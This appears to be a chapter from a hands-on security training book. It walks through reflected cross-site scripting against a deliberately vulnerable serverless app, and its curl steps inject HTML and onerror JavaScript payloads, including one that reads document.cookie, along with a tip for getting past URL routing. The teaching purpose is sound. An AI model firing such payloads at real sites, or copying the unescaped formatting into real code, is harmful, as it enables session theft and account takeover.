Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Lab: Cross-Site Scripting (XSS)

OWASP Serverless Top 10: SLS-1 (Injection), SLS-7 (XSS)

Objective

Inject HTML and JavaScript into the application and observe it appearing in the server response without any encoding or filtering.

Real-World Parallel

Bug bounty programs pay $500 to $10,000+ for reflected XSS in production applications. Attackers use XSS to steal session tokens, redirect users to phishing sites, and take over accounts.

Why This App is Vulnerable

The /welcome/<name> endpoint uses Python string formatting to insert user input directly into the response:

return "<html><body><h2>welcome %s</h2></body></html>" % name

There is no HTML encoding, no escaping, no Content-Security-Policy header. Whatever you send in the URL is returned as-is in the HTML response.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

1. Send a normal request

curl "$ENDPOINT/welcome/hacker"

Expected output:

<html><body><h2>welcome hacker</h2></body></html>

The app takes the name from the URL and puts it in the response. So far, nothing unusual.

2. Inject HTML tags

curl "$ENDPOINT/welcome/<b>hacker</b>"

Expected output:

<html><body><h2>welcome <b>hacker</b></h2></body></html>

The <b> tags are returned as raw HTML. If you opened this in a browser, “hacker” would appear bold. The server did not strip or encode the HTML — it returned it exactly as you sent it.

3. Inject a JavaScript payload

curl "$ENDPOINT/welcome/<img src=x onerror=alert(1)>"

Expected output:

<html><body><h2>welcome <img src=x onerror=alert(1)></h2></body></html>

The <img> tag with an onerror JavaScript handler is in the response. In a browser, this image fails to load (src=x does not exist), which triggers the onerror handler and runs alert(1).

4. Inject via the login form

The landing page has a form that submits to /login, which redirects to /welcome/<name>. The payload travels through the redirect:

curl -L -d "name=<img src=x onerror=alert(document.cookie)>" "$ENDPOINT/login"

Expected output:

<html><body><h2>welcome <img src=x onerror=alert(document.cookie)></h2></body></html>

An attacker could send a victim a link like https://<endpoint>/dev/login?name=<payload> and steal their cookies when they click it.

What Happened

The application reflected user input directly into the HTML response without encoding it. The server treated our input as trusted HTML instead of plain text. In a browser, the injected JavaScript executes with full access to the page — cookies, DOM, and any data the user can see.

Note: Payloads containing </script> do not work in the URL path because the / character breaks the URL routing. Use self-closing tags like <img> that do not contain forward slashes.


Next step: Lab: Command Injection and Credential Theft